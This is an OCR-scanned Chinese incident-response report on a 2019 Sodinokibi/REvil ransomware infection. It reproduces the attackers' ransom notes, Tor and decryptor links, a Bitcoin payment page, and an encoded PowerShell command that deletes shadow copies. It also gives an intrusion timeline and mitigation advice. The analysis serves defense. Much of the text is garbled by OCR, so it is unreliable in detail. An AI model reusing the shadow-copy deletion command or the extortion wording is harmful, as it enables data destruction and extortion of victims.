BER =EE TO) wRNV HEH

|--=— Welcome. Agzain., —--- -

[+] Whats Happen? [+]

Tour files are encrypted, and currently wnavailable. You can check it: all files on you computer haz expanzion 3599d.
By the way, everything iz pozsible to recower (restore), but you need to follew our instructionz. Otherwize, you cant return
your data (HEVER).

[+] What guarantees? [+]

Itz just a buziness. We abzolutely do not care about you and your deals, except getting benefits. If we do not do our work

and liabilities - nobody will not cooperate with us. [ts not in our interests. ) )

To check the ability of returning files, Tou ghould go to cur website. There you can decrypt one file for free. That ig ocur
gnarantee. E
If you will not cooperate with our service - for us, its doem not matter. But you will lose wyour time and data, cause just we
hawe the private key. In practize - time iz much more waluvable than money.

[+] How to get accesz on webzite? [+]
Tou have two ways:
1) [Recommended] Uzing a TOR browser!

a) Download and ingtall TOR browser from this site: httpe://torproject.org/
b) Open our webzite: http: .4'fap1ebzu4?wgazapqu56vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd onlon/9BENSE 1654F56FEQ

2) If TOR blocked in your country, try to uge VPN! But you can uge our secondary website. For this:
a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
b) Open our mecondary webzite: http: Ndecryptor toprBE088165AF56FEO

J 3599d-readme|- ELE=E [ [
ERE BEE #F0) BREV 28RN

Tarning: secondary webgsite can be blocked, thats why first wariant moch better and more available.

Then wou open our webzite, put the following data in the input form:
Eey:

JRNEabR0a0E2 jEeCAT OV Ta+Ga89wEfkp VB IE3Ra%4+EH 1NV I riHévolNEzR2Hm
9bbdQujeyHou; vLEkLMeZeq INTte+ob fLrmtgt0] jEZEC 1Bn7£1 0 1Xb930MvEInab
cC54AT 1 2bn 1 Wk=Z 1 JeggnaveTktPnl rBAn 1 T4/ pel.04094 ] ZXHSEHnOvZ ] 0 8C6R
fEPBZb] wyg I TE IMUfndcdazmn INzLe/FilleSrE jL LTHPP [vQrUCHyu+ 3] iSRLLVm
C4kjEddxllc9qR 1 qQuaPw¥T4Bc8PuxBcS0rnr lqghEndeft 7TP80cCHR ldutzeqet
O+6W2us/HER ITwCyLy09k 1 [a3undht IFYOLE 13vHpd TDxoFE4P xR 5Dk 562 fHFR i
JiaU00PceTvhhHe jG8E=EYLa+33rTO Akt pyy06nR9e ic ] 4 102yt 128h 1 p§ 1Ed3+
e0d+ ivBdwiulf j eOhnloZec2q+CuD7uyél 031 vedEDsB+ 271 TEY eOqn i nVhHN nSm
617z 1LWncftU19E y2dDV4 1594 Tkl cQOLCy0 L IEy 1EP j 1alC% ) 72 jwbmyX 1 kRbGZ
GTAF8z+E4WBE3 2aqWkODYEEDdE kL sGHB+00AbOES | 0Bq8HbndFsL I gflupi 1 Aqat
c+J/Z6++0uwBUSBE 1] d5f 0dW4EHq8eelLZBDOPaPZh 22D0CuEE Ak 2G9VZPS rz
#ZqUTEV 39X hMN ] apme /TEC74x i nHAL e9eB | viwezqH w86 Tull fuyobZuRbqRypn
OTAOR iLqP20dchiSDYYI62smcll jd6rTnkSpK] jSHax9COTFShvZthy ko2 iEnrl
TE 7z pky3K0PzEG o] oPnlgyT j nHOyAT3T/LREESTh 1V2iEQuZv0 10n3nhkiadd3
iPOLEI98Y iFK8evlqUbgbarlD8oaClnloj a3F twFalhT4dh0kSS IWDEnePVYET /K
fV3CuHqekplel00 jRHOenoeb TuanVSRIzOM/ ] SqnzkSE3 1+ n ¥R pCEFT oXYwxz 9T
Ch1580cWLOEDRCCHEC § 1DwDe xSmH+cxs iCT vdnTuwnCGRh raf v370POGPa 1T lohe
ongsll 5x3qeV T+t 16 Eu)E 11 d+ IEDEng VT 3878 2K 5f va 3 3fFfGAbZnT G+Fa+H8
tS6E+Deq/ Ws0rrec6td NI T4 /7VbTEEDP 301 jwEatCHacSdl nd SPVwCdJwCh5+
N3KWE7EP ID20dZ 1T rRed iVTJaRt /YR/F2hyD 34+ TUEnL /v 4£F [+vF 1 4pt 7e97Cqk
GIZBYZufaxVwocloxHg iWquCn/y6rZBkeBO9ARBEZS | Vqg=

m

Extenzion name:

35994

|11 DANGER !!!

DONT try to change files by wourzelf, DONT uze any third party software for restoring vour data or antivirus solutions - its
nay entail damge of the private key and, as result, The Losa all data.

AR

ONE HORE TIME: Its in wour interests to get your files back. From our zide, we [the best specialists) make everything for

regtoring, but pleage should not interfere.
e e

R 599d-readme.txt.mbjzslr4 22 mbjzslrd-readme.txt.3599d = B F5 % » F IR
% ;?? &‘% >+ \*4,\" °
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Y?MWNMJQ}S Tedh 777 MEHIE=; ~5‘?$D0 63 ﬁ:ﬁ—%ﬁﬁ?)ﬁ??fénil m 07 | VEE'97 ?%?W T80 (PPERTwRREEE ¢ 0 ¢ S WA

T WEE 7/ 27 7 O SR TR CloBl(R | TraciebROMGTEEGIE 90 - R nEBY SEEIVE= D HZ\er b
=7 b Prax?iErQERT o 7 ?m%? +E 7711, %F’I 3fEL h?%ﬁ? 77 TRRY Niesa #B a7 FOVELT-7TVVGREHAVYIRAIRONTI? 4
nEEtRe 7 BED R0 HE gy 337 IEHD— 2 EREEIE oVes  1ZE]  + pt pe@pett %0 yoff  SHew) PEVIHNSEEHO

- 3599d-readme.txt 244 4c % chfp 2k + i@ 3 ID Ransomware ¥ % 5 & 755 4
=k (https://id-ransomware.malwarehunterteam.com) » % # B %] =_% Sodinokibi
¥z gk > F)pt4ap) & ETB User £ & 5 Windows Firewall.exe 2 3 # ¢ 3 %

&tk ® ETBUser & » 4 #1%8 » i % F 3 #2347 Windows

how B ET

=

Firewall.exe » # {8 xR B 1 ¢ F o

@ This ransomware has no known way of decrypting
data at this time.

It is recommended to backup your encrypted files, and
hope for a solution in the future.

* ransomnote_url: http://decryptor.top/

Click here for more information about REvil / Sodinokib
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12.&—’,5 31 2 e Windows 7 Vg3 20 IR G B PR o fER TR KA

WenF R a4 o

& )=[@ » Zle » FRENEEE » Windows XE » BIIRT [+ ][]

EHE=EE =
LR ERNSRERUE TR EUGEERTE -
HTESEBUE?
SR TSR FA) BEBUERTE

f@ ) FIE Windaws 7448

oy

l@ @ BEE Windows ki (FEE)

SRERUSRTE

f@ @ BE Windows (X8 (FEE)

13.4541 31 4 s hpp "\':[%,ﬁ%] RPIRE D BRI BEFE T §
3389port £ 445port -

£ gEs  CEHE  adas  Fegn  ses. Sson SsEss
@ Agentexe s 2 SLEF =kl ==l 1 E
@ HomeGroup B4 A = SLEF & 3587 FRTEE T
@HomeGroup &) (PNRP) A 2 AT L] 3540 TEFHEE T
(@ Local TEConsoleULexe A = HEF =2l £ =G el
@ Local TBConsoleULexe A £ FLET Em ==l T (=Gl
@ Microsoft Office Outlook A, .. =2 i F@ 6004 &1 g ]
@Microsoﬂ OneNote 2+H = AT EE ==l {=2C] (== Gl
@ Microsoft OneMote ) =2 AEF ==L} == =2 (==l
@ Microsoft SharePaint Workspace 2AH = FLET EE {=aC] {=2C == Cil
@ Microsoft SharePoint Workspace *H 2 SLEF =kl ==l £ i
@soL =5 2 FEF EE 3389 EE £
| @ Thservice.exe A = pitki i i ET fEiT
@ E5EE - RemoteFX (TCP-In) b 2 E1v Fa 3389 & &
@ EssE (TCP-n) Ei S I 0 3380 & &£
@ ExsE (TcP-n) 2R £ i & 3383 @ 30
@ EEsE (TCP-In) A £ fEF Tm 3389 2@ &
O BERAFEEA LLMNR-UDP-In) A = Pt =30 5355 THRTER 27
@ E=EISE2E (MB-Datagram-In) A = LEF Ta 138 TEFERE £
D E=EI=EZH (NB-Name-In) A £ EF T 137 FETEE OO
O E=EI=E2R (NB-Session-In) A 2 sLEF =atl 139 FRFEE OF
@ E=RASEIA (SMB-I) faA 2 A7 {220 445 FRFERE 48

14. %48 31 4 ¥ enfr 4 #88 Windows Defender p % > B &7 - <44 5
2019/9/17 + = 2:22- e §_Fra& % 3 B K { #0t8 windows firewall.exe 5 3t 3

B
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£ Windows Defender E@

23 @, z28 Pru- @Eess 12 0

EftHERR FaRmRE

THEREFEE -

HREE
EEEE 2019/9/17 £5 02:22 (FiERH)
REEE SR AH LT 0200 (RERH)
BN R EEd
RESHEES: KR 1.301.1434.0 EITR 2019/%/16 5 02:50

%5 A ¥ Windows update { #7 % Sk f 0 IRGE A AR (TE F L AT

&) )=[@ » =82 » HEZRSRE » Windows Update ol
o @
il Windows Update
BEES
zEDE P o s

- Wy RELEACENERNES
Lo Re) szzmssvEs  LmmsEmmEseEw-
EEEmyEs
= REEFQ)
=5 =emEs
BENERRE @
EmmEm @x
BES: # Microsoft Update FEWEAR Windows EENEZIHNESR

& _Windows update % &P % BFIRZASR TR T AR AL (5T %

%’E”( ,J‘ «La/% /W Jﬁ- /z‘ l} Zed‘ ’ “§ l‘{ 5'); ")’; » 3_ ﬁﬁﬁ?f}ﬂﬁ'ﬁ‘_:ﬁ_ )

RS

@O,’.g « BFEZFI2EE » WindowsUpdate » BEZT

£1Z Windows ZESHHIAR -

ETHERLEE  Windows TLIEREELTENRSUITEESES - ECRNERE  SHTLIES
BZEER-

EHEFOEENE?

SEEHQ
5 WET =
) (rerezEs Fam =

A
=1
P
She
-{\
=
o
2
wn
o
D
@
D
>
o
D
-
=
fm
E:
e
3
ke

AL { AT %19

Sodinokibi ¥+ % it 48 chrc

i
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R

&) )~[E « FAZHERE » Windows Update » BRERES =

BRERTH

BE R ﬁl«xﬁ”fi RHEEEEY - SEBREY  SSECE=NEE-
2% #E =3  xzA8
Windows Defender Antivirus £ E5:E 57 - KB915597 ( AiZ 1.301.1434.0) ] ES 2019/9/17
Windows Defender Antivirus 2 835 E%7 - KB915597 ( AF21.301.1191.0 ) 3] EE 2019/9/14
Windows Defender Antivirus 2= &85 E %7 - KBI15597 ( i 1.301.1007.0 ) 53] EE 2019/9/12
Windows Defender Antivirus = E45E %7 - KB915597 ( AiZ1.301.773.0 ) 3] EE 2019/9/9
Windows Defender Antivirus £2 52557 - KBI15597 ( AFZ1.301.545.0 ) 3] EE 2019/9/6
Windows Defender Antivirus £2 &35 5% - KBI15597 ( 7% 1.301.499.0 ) ] EE 2019/9/5
Windows Defender Antivirus T2 E5:E % - KB915597 ( 472 1.301.246.0 ) 3] EE 2019/9/2

158 F 2 4R % #% 7 2019/9/12 = = 11:04 5% % % 541 * C:\Windows\Installer

7 20ace.msi > k% % ESET NOD32 Antivirus [# & #ic %8 » i ¥ 0] 31

i C:\Windows p 2 35 7 3| Installer 7L & 22 20ace.msi °

Time

2019/9/12 T4 11:04:27
2019/9/12 T4 11:04:37
2019/9/12 T4 11:04:37
2019/9/12 T4 11:04:37
2019/9/12 T4 11:04:42
2019/9/12 T4 11:04:44
2019/9/12 T4 11:04:44
2019/9/12 T4 11:04:44
2019/9/12 T4 11:04:55
2019/9/12 T4 11:04:55
2019/9/12 T4 11:04:55
2019/9/12 T4 11:04:55
2019/9/12 T4 11:06:02

Source EventID  Event Description

Senvice Control Manager 7036 WindowsInstaller BIETEA 275 #% -

Msilnstaller 1040 B84 Windows Installer Z5: C:\Windows\Installer\20ace.msi - EEEEEEEEAE: 4916 -
Microsoft-Windows-RestartManager 10000 — EZEET RS 0 - 2019-09-12T15:04:37.066051500Z *

Microsoft-Windows-RestartManager 10005~ BENEEREHS

Service Control Manager 7036  ESET Service BETEA Bl & -

Msilnstaller 1038 Windows Installer EEEH &1 %5 - ER2%E: ESETNOD32 Antivirus * 24 7:4.0.467.0 - ERES: 1028 « HET ESET
Msilnstaller 1042 2% Windows Installer T5: C:\Windows\Installer\20ace.msi. EEEEEEEEAE: 4916.
Microsoft-Windows-RestartManager 10001 ~ EZEZZI{EIEE 0 TEE) 2019-09-12T15:04:37.066051500Z «

Msilnstaller 11728 E&: ESETNOD32 Antivirus -- RERH, «

Msilnstaller 1035 WindowsInstaller CEHATHESR - ERZE: ESETNOD32 Antivirus + ERHZ:4.0467.0 + EREES: 1028 + HET ESET
Misilnstaller 1038 WindowsInstaller EEEHHE1 25 - ER22%: ESETNOD32 Antivirus + ER4i2:4.0467.0 - EREE: 1028 « $EF ESET
Msilnstaller 1029 EH:ESETNOD32Antivirus  YAEF§E - ERNERAEFEREFLE) HERES SN - ENERATEEER%
Service Control Manager 7036 Windows Error Reporting Service B TENA F1E 1%

Time

2019/9/12 T 11:04:44
2019/9/12 T4 11:04:44
2019/9/12 T4 11:04:44
2019/9/12 T4 11:04:55

Source EventID

Msilnstaller

Event Description
Windows Installer EEEH /3125 - EF2E: ESET NOD32 Antivirus * ERMF:4.0467.0 « &

FEE:

1028 - RiEE: ESET spq

«|

Windows Installer

: B EREEIEE

Msilnstaller 1042 25 Windows Installer Z5: C\Windows\Installer\20ace.msi. EEEEERES DS 4916.
Microsoft-.. 10001 FEEFTEIEE 0 SEE) 2019-09-12T15:04:37.066051500Z + [
Msilnstaller 11728 EZS : ESET NOD32 Antivirus - 2 ERA * -
1 | »
ETEHEEAL - B2 TE: ESET NOD32 Antivirus - EESRERA: 4.0.467.0 - Ebesee: 1026 - BUER: ESET spol s +

i: 1 EFEERE: ¢-

16.4 £ 2 ik %

PPER A

2

B3

-

% 2019/9/12 = = 11:08 = % 8 =x PowerShell

=

"V/f

N

Sodinokibi #* z $ic 48 4c B A pFE R o fa )iz PowerShell »

# 17 & 37 22 Sodinokibi #+ % #4875 B o
Time Source EventID Event Description i
2019/9/12 5 11:08:40 Service Control ... 7036 Microsoft Software Shadow Copy Provider BRI TE A 21T #ikE -
2019/9/12 T5 11:08:40 PowerShell an" BE#EE Started = FH;ER:  ProviderName=W5Man NewProviderState=5tarted SequenceNumber=1
2019/9/12 T5 11:08:40 PowerShell 600 "Aligs" BEEE Started - EHER:  ProviderName=Alias NewProviderState=5tarted SequenceMumber=2 HostMNar
2019/9/12 745 11:08:40 PowerShell 600 "Environment" E£E5 Started - EHER:  ProviderName=Environment MewProviderState=Started SequenceMum
2019/9/12 £ 11:08:40 PowerShell 600 "FileSystem" BEEEE Started = EHER:  ProviderName=FileSystem MewProviderState=Started SequenceMumber=
2019/9/12 75 11:08:40 PowerShell 600 "Function” {1 E % Started - EHER: ProviderName=Function NewProviderState=Started SequenceNumber=5 |
2019/9/12 T+ 11:08:40 PowerShell 800 "Registry” BEES Started = EHEHR:  ProviderName=Registry NewProviderState=Started SequenceNumber=6 H
2019/9/12 T4 11:08:40 PowerShell 600 "Variable" EEE 5 Started - EHER:  ProviderName=Variable NewProviderState=Started SequenceMumber=7 +
2019/9/12 T 11:08:40 PowerShell 600 "Certificate” BEE S Started +  EHEH: ProviderName=Certificate NewProviderState=Started SequenceNumber=
2019/9/12 F5 11:08:40  PowerShell 400 SIERETHE None BE S Available - E#E#: NewEngineState=Available PreviousEngineState=Nane Sequenceh—|
2019/9/12 T4 11:08:53 PowerShell 403 SIEFRETH Available BE S Stopped = ##E#: NewEngineState=Stopped PreviousEngineState=Available Sequ +
« 1 | b
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17.% %44 7 425% windows firewall.exe » kA g HER 715 § 2 4 P s HF 75 >

‘T\
o

MR TR EAT
(1) 242.5¢ windows firewall.exe # i7i5 > L& 5 § R FJ > & ¥ 5 &K aLE T All
of your files are encrypted!Find cr89jg2-readme.txt and follow instuctions | & 3>+ £
B BT H AT AR S AR £ 2 45 3] crB9jg2-readme.txt > i 134%%

F\#;‘I"l’\ O—'ig;"J'tg;Bé’:B ;’; ’fé %‘iﬁ#&ﬁig%ttﬁ;%.%c%;{ "‘4 gg/ﬂ'iz EL o

Google
Chrome

(2)5 '?7 cr89jg2-readme.txt i ; s J;j; I3 ¢ 31 3 abﬁ.mﬁb 2 _%ii‘r’f’é 3599d-readme.txt

AN

ik

( || cr89jg2-readme.txt} =05

BER HEE BHO) BRWV) H=EH)
|--=— Welcone. Again. =—--- -

[+] Thats Happen? [+]

Tour files are encrypted, and currently unavailable. You can check it: all files on wou computer hag expansion
cré9jgl.

By the way, everything iz possible to recover (restore), but wou need to follow our instructions. Otherwize,
you cant return your data (NEVER).

[+] That gnarantees? [+]

Ttg jusgt a bnziness. We abzolutely do not care abont yon and vour deals, except getting benefits. If we do not
do onr work and liabilities - nobody will not cooperate with us. Its not in our interests.

To check the ability of returning files, Tou shonld go to our webzite. There wou can decrypt one file for
free. That iz onr guarantee.

If you will not cooperate with our service - for nm, itz does not matter. But wou will lose wour time and
data, canze jusgt we have the private key. In practize - time iz much more waluable than monev.

m

[+] How to get access on webzite? [+]

Tou have two ways:
13 [Recomnended] Using a TOR browser
a) Download and install TOR browser from this site: https://torproject.org/
2) If TOR blocked in wour country, try to use YPH! But you can uge our secondary webgite. For this:

b) Open our webzite: http://aplebzudTweazapdgksévrevbzenjppkbxbrévketf Sonfbag2nnyoyd. onion/FF2C24EEEAEDADES
a) Open wour any browser (Chrome, Firefox, Opera, IE,

Edge)
b) Open our secondary website: http: /fdecryptor topfFFZCZASBBAEDBDE4
Warning: secondary website can be blocked, thats why first wariant moch better and more available.

When you open onr webzite, put the following data in the input form:
Key:

2vFTOIHYOV imiDO T JCHOGP bkw2eGyy3 /LoZ73USLOOTG j uE6ICtf xCOTda5Tns
3804/ ThiTgA856Tb9e5] rnpYRbh 1GkOpDENQm292K 15PdzT cdVnG67shehzvS7HE
PLAZ9Hku36evcY04tT/ /4 1A2bvZGN ewzE2F JolGanat  9UL jkyf dn9 1 IDSquwzl g6
H3drnt jNc IBENT [h4YKX2f01e0LuAStCREq8EqRD2+4CE Iwg 3c0aCeDmOVOPUHNE
EcHfopjoGLQ 133mbl ThO5Z2c+W8052F mx IEwy/ cht/aEheHSExMW I Omar+q [ 8T0 N
ZTSTOGRze /zbbY 08szK rip0bjTuvzda 1V 7DnUnd 5dP2WAG+ 1T+ 5af 3g6f 056322
0JuPhTujGrQc/KFdRvEEncBF 4L 10D+ 14Zdq90ip /QFHeTDc0xSZ6pY jUdyet 12
PG/ g3 x9LTAad ol ndpTh]¥hGELOU/ 3] 8EL2 IH/ jARNSY ] j fzSF724PUQUOLe
vErlxchcoj IMfd 1 1EQt/nEE4eTZLLeszV iviSTad Py jnadlZ9qeDhvcEqhTeR
k372 lu+QyDCEAGu vI gh+ rPDETVE 1W5ZB 1 TK 1 20Ck6X I qZ66Z uEabEQV oEHn 1 £ 0
hepaGehPellqekBoZlent0zall6asFf jqf 0 Théel 11 ThaxpDp L 178 pY v Telzydv
exz5K9kGgodEobdv2BEl okHAGELCGLBTOB)99qBYBE TS0t 8nof220) d86x+ 5] 28
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FI* LT EFRTE TR EE S RET o BE Rl i - KRS Key

PEL o E DA B L EN S T ERE R Reni T

"“ﬁ

b
=
o

1 Enter the key here

2 Enter the extension name and click submit

cr89jg2 SUBMIT

EHEFRORE? RELFLLEBBEAEH A2 T2 A0

g
BhaBos FALT FAoR GH O N RELTF O BRAMARZEETEL

&«

o 0
Your documents, photos To decrypt your files you need to You can do it right now. Follow the
databases and other important files buy our special software - cr89jg2- instructions below. But remember
encrypted Decryptor that you do not have much time
cr89jg2-Decryptor price

You have 6 days, 23:59:37 Current price 0.61595306 BTC
* If you do not pay on time, the price will be doubled =5,000.0SD
*Time ends on Oct 4. 08:3419 After time ends 1.23190612 BTC
=10,000 UsD

Bitcoin address: 35nAfTGgoRDT6655rKDRDGSZraD4LI3P7 *+ BTC will be recalculated in 5 hours with an actual rate
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(3) 7Az5% windows firewall.exe #4 {7 i € #* = powershell.exe %k #4 7 - £ 4c % i
ShFuEg & 4 pter e powershell.exe h7 5 20 31 A 8 F 2 Ak 47 I8
=z powershell % 4&4p i - F&ipie 8 =x powershell ¢ &% & 3% €34 = windows

firewall.exe #7:% = o

Process o Image Path Command
EEWindows Firewallexe (1560)  C:\Users\Mark\Downloads\Windows Firewall.exe "C\Users\Mark\Downloads\Windows Firewall.exe"

&4 Windows Firewall.exe (664) |C\Users\Mark\Downloads\Windows Firewall.exe "C:A\Users\Mark\Downloads\Windows Firewall.exe"
4 powershellexe (2028) | C\Windows\System32\WindowsPowerShell\v1.0\powershellexe powershell -e RwBIAHQALQBXAGOAaQBPAGIAagBIAGMAdAAGAFcAaQ

SRR RIS T PN

- C & basebddecode.org

Decode from Base64 format
Simply use the form below

RwBIAHQALQBXAGOAaQBPAGIAagBIAGMAJAAgAFcAaQBUADMAMgBIAFMAaABhAGQAbWB3AGM
AbwBwAHKAIABBACAARGBvAHIARQBhAGMAAAAESAY gBgAGUAYwBOACAAewAKAFSALgBEAGU
AbABIAHQAZ QAcACKAOWBIAA==

Get-WmiObject Win32_Shadowcopy | ForEach-Object {3 Delete(}:}

(4)%+ Windows firewall.exe & {7 42 3% 78 4% i8] » 3 I8 & section p 7 thfe
B ?‘/EﬂgngZ i}gﬁ;?lj » 2 f,,_%f ’ ;El ¢ ?‘/)%IE“""HT‘ 32 B3 ;_':{,% fv,\ﬁ;
e ¥ 4 T bDXF3CPXghRINY14Qe8bjUPED32BVAASR > @ H 4%

3§ LGl -

257 c\users\etb user\desktop\windows firewall.exe property value | value value | value value
o S name text  .rdata data .gjge2 reloc
g P e o md5 7617.. 8CS02A.. FDOES.. |3B7BA4CEF88A30B13056AD7DD251213A | 48896037241}
file-ratio (39.39 %) 26.2.. 671% 35.06% |(30.49% 0.91%
sosicanl-haadarici virtual-size (167102 bytes) 4371.. 11054b.. 59632.. | 51200 bytes 1500 bytes
M 1 virtual-address 0x00.. 0x0000.. 0x000.. |0x0001E000 0x00028000
| raw-size (166912 bytes) ~ 4403.. 11264b.. 58880... | 51200 bytes 1536 bytes
raw-address 0x00.. 0x0000.. 0x000.. |0x0001C200 0x00028A00
cave (562 bytes) 316.. 210bytes Obytes |Obytes 36 bytes
entropy 6.555 7.881 7.995 5.081 6.578
entry-point (0x00003BCE) x - -
blacklisted - - - X
writable - - X X
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Hex View-A Encoded Configuration Decoding Key

.0jgc2:0041EBOB 62 58 46 33 43 50 58 67 68 52 4A 4E 59 31 34 51|[bXF3CPXghRJINYI4Q
.0jgc2:0041EB16 65 38 62 6A 55 50 45 44 33 32 42 76 41 41 35 52||e8bjUPED32BuAASR
.0jgc2:8041EA28 AB 2B A3 93 7D 66 B8 8 C1 EB 58 DD SF 73 86 E7 ﬁw
.0jgc2:0041E636 36 9B BB 98 2A 64 7A E3 BF 54 A5 35 OA 67 61 8D |6 7dzfET?Hga?
.0jgc2:0041EB4E 98 01 78 46 85 29 D6 OE 9B EO 05 34 44 C9 87 39 |?xF?? 7D?9
.0jgc2:0041EB56 DE 2E DB 99 2A AE AE 49 CB 25 10 1A CC 12 D6 30 |?2=[H170M??
.0jgc2:0041EB66 31 1E 5C AB 6D 97 EE F9 9F 37 8a FF 51 F1 19 E8 [1EVE] 77707 |3
.0jgc2:0041EB70 36 C2 26 C2 AC 54 2E €5 32 AS D8 15 2E 77 A1 E2 |678RT.? 0. u=
.0jgc2:0041E686 D7 68 B3 F8 18 FA 2B 92 E5 12 7F 43 AC EB AD 23 |EFET? EECE?
.0jgc2:0041EB96 6F 85 F3 27 C2 D8 BC 6D 25 1F B6 A6 FD SE 6D E2 |o 'EXiEHmfE w=?
.0jgc2:0041E6AB 98 EG 8B E1 41 FB D3 BB 63 FO 1E 22 8C BC EC F8 A Z577E
.0jgc2:0041EGBG  E4 D3 81 97 46 CD 3E 21 6D CD F2 E@ 8F BF C3 85 |ER?F?emif7ise
.0jgc2:0041EBCE @1 EB E4 76 65 FC 30 90 EG 28 23 85 FF FB 66 3D |fEfve? (#7 -
.0jgc2:0041EGDB 59 D1 58 77 BD 62 FO EF 05 61 64 D3 C6 BF SE 10 vﬂguﬁﬂﬁﬁﬁgya7[3l
.0jgc2:0041EBES SA 2C E6 81 42 27 4E F4 66 C6 76 E6 4A A1 94 u1 |2,7B" Nijjliiivien
.0jgc2:0041EGFB  ED 21 AD BS B2 FD 8C 4E F5 E4 86 95 48 BC CB 1B |?3Z3% 50 742N
.0jgc2:0041E106 63 99 BB 80 BD E7 95 A1 9B 14 B4 C6 00 2D 5E CF |c B 20fi ™2
-0jgc2:0041E110 52 AF C1 D1 53 C8 38 07 20 5B 6B 19 B5 EB 6F 5E |RZZ{E?N [k [ffo”
.0jgc2:0041E126 69 SF EF 48 A4 26 C7 CD D6 46 64 2D 1D 3C 22 53 |i_g#? Hd-E<'S
.0jgc2:0041E138 55 EC D6 53 &1 E5 2C S5F A8 7A A1 FB 1F 3a 71 82 |uBEESa? [T “.m:q?
.0jgc2:0041E148 53 F9 FO 8F 6D AR E6 F8 1D C5 15 69 D7 86 4D BB |S— ZE7?i7M?
.0jgc2:0041E156 7E 95 2E 5A B6 BC 29 95 C6 69 68 E5 18 3F 87 EO |~?2§F) ih? 12
.0jgc2:0041E166 82 D4 6F 63 71 8@ 72 52 €8 35 2A 6E 55 DF 46 8B |{Zcq.rR?=nULZ?
.0jgc2:0041E176 9F 88 D6 3A C9 89 C2 FA 86 8C 77 FF 2E A7 7D 18 |?278f7uij.$f 1
.0jgc2:0041E186 99 BA 31 63 FC AB 78 5C B8 4n 97 EB DE 8E AF A5 | 1c =\Fi ?#F
.0jgc2:0041E196 89 9D 6F CE 13 38 07 F7 C8 95 6F 6D 23 DO BB 7a |70?78MEE n#Z):z
.0jgc2:0041E1AB 76 7B 8B 71 SE BS FA F9 8D 71 OD 65 94 B8 C3 €3 |u{ “3)?7q 75E
.0jgc2:0041E1BB 46 C6 D9 27 E4 C7 41 7A 5A FD €9 89 93 6B na [I§ |F '&FAzz  7k? (]

O FEREE2016/4/27Z %8 52EaseUS Todo
Backup®# - #Z179RFETB User

|
|
|
|
| A #7Windows Mail &%
|
|
|
|

@;t EScreenConnectClient
A#77ScreenConnect.ClientService.exe

BE @2019/9/12 PM10:51 B.IE0UScreenConnect.WindowsClient.exe
< RDPE %% AMRSETB User © #7ig1E Sadm

N >

< ©2019/9/12 PM11:03 @ ZHESET NOD32 Antivirushas#:s

WAZITIA M ROPEAIRSETB User BB RIRAER ® #17Windows Firewall.exeZRNZig %
203.X.X.17 203.X.X.31 ATENPowerShel 2R MRS+ &l 4

@ LUIESETB user @%ﬂﬁsetup msiZRZ#ScreenConnectClient

e NPER

EEt AR
203.X.X.12
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1. ## F e 2016/4/27 T = 4:12 % KR *a# >8R goil EaseUS Todo Backup
{8 » 1= bk # ETB User -

2. 5% % 2019/9/12 * = 10:51 BBk R @ ARE ~ e 2 ETB User o

3. % 2019/9/12 T = 10:52 # = Windows Mail # > (& # edb00001.log) -

4. % 2019/9/12 * = 10:53 % % ScreenConnectClient(efb8cf813b6eaefc) -
A. # {7 ScreenConnect.ClientService.exe
B. =&+ ScreenConnect.WindowsClient.exe

5. % 2019/9/12 T = 10:58= = & * Jf’f tE = adm o

6. %2019/9/12 = = 11:03 L =gz & & @& % » *E = ETB User o

7. %.2019/9/12 = = 11:04 # {7 20ace.msi * % % ESET NOD32 Antivirus i# & i

8. % 2019/9/12 = = 11:08 34 = Windows Firewall.exe % 4c % 3 &P 4% o
A. Windows Firewall.exe =% 1 PowerShell i@%']'*,ért 23 g+ o

9. 2019/9/12 PM 11:11 r4#& = ETB user #fe % » 12 i 4%

10. % 2019/9/17 + = 1:25 #, = setup.msi %k £ =t % % ScreenConnectClient

(efb8cf813b6eaefc) -

1. Sodinokibi (» #£% REvil) ¥ % #4483t 2019 & 4 7 17 p § R4k R o ¥

F_d A% % GOLD SOUTHFIELD = 4 R o e B iR
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FAI* L E &~ Fds iRk s RDP RIRBIod 14 P icdl % 450 k4t
#HE 2 a8 o v el CVE-2018-8453 Gk #& = #4E » = # % LR
et B LV RPN TEFEILAB R o FFT gL K
ﬁﬁ‘ﬁé‘iﬁéwﬁﬁﬁ:éﬁ@iiﬁﬁﬁ%ﬂﬁﬁ@ﬁ%%éo
KA Z e EF 5 0 7 P R —g |5 E A E #5248 Sodinokibi
dh L 2 KBTI o

FAFRFEagd  VENITABRTEIPEAFRE LT o
(1) % 2 3 #5e,% 55 & % & > Windows update * B gzt & { 7% %o
(2) x T i VIEA B Ex -

(B) X A 8B frzF 5 3 5 X3 % s ¥ chport » 4 3389 port ¥7 445 port -

(4) =

A AT Eenfr F g0t & JE 3w Windows firewall.exe =

s
ﬂh}

Sodinokibi ¥* % fic 4 -

(5) te 2016/4/27 i + ok = ETB USer ¥ ii i bkl %6 i3 % /5 B F -

(6) & FREPHE T PTG RBE > Liphiein
HITE > EMPE  BROFEER 0 4 TR AR BBELLFE o

(7) 2% % 2% » 7 3 EaseUS Todo Backup #x %8 #7 & # itk = ETB User 2

AR mle- RERREP 75 MR ETBUser s 4§38 (75 o

(8) % 7 £ i R 4 Sodinokibi ¥4z x4 > N > P E S LT~ &
4818 £ 34 7 Sodinokibi FHE R AZN B AR SR o

CEHATIFEERTABBTIEH S RER RS -

(1) =87 L A7

(2) BrRcisl app Lk 2 e

(3) BB A} 2t & B Ezeriport o

(4) L7 Lo~ 4 gt 2 ) LATRHA A -

(5) THH P LT -
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1. REvil/Sodinokibi Ransomware

https://www.secureworks.com/research/revil-sodinokibi-ransomware

= C & secureworks.com/research/revil-sodinokibi-ransomware B 1

THREAT ANALYSIS

REvil/Sodinokibi Ransomware

TUESDAY, SEPTEMBER 24, 2019
BY: COUNTER THREAT UNIT RESEARCH TEAM

Summary
The REvil (also known as Sodinokibi) ransomware was first identified on April 17, 2019. It is used by the financially
motivated GOLD SOUTHFIELD t
RDP servers, and backdoored soft

distributes ransomwa

via exploit kits, scan-and-exploit technigues.
«s® Counter Threat Unit™ (CTU) analysis suggests that REvil

i with the G

r code and the emergence of REvil as GandCrab

activity clined. CTU™ researchers attribut LD GARDEN threat group.
REvil can perform the following tasks. Most of these capabilities are configurable, which allows an attacker to fine-tune

the payload.

* Exploit the CVE-2018-8453 vulnerability to elev
* Terminate blacklisted processes prior to encryp

tion to eliminate resource conflicts
ents of blacklisted fo
hitelisted fi

* Wipe the

rs

* Encrypt non-w d folders on local storage devices and network shares

s Exfiltrate basic host information
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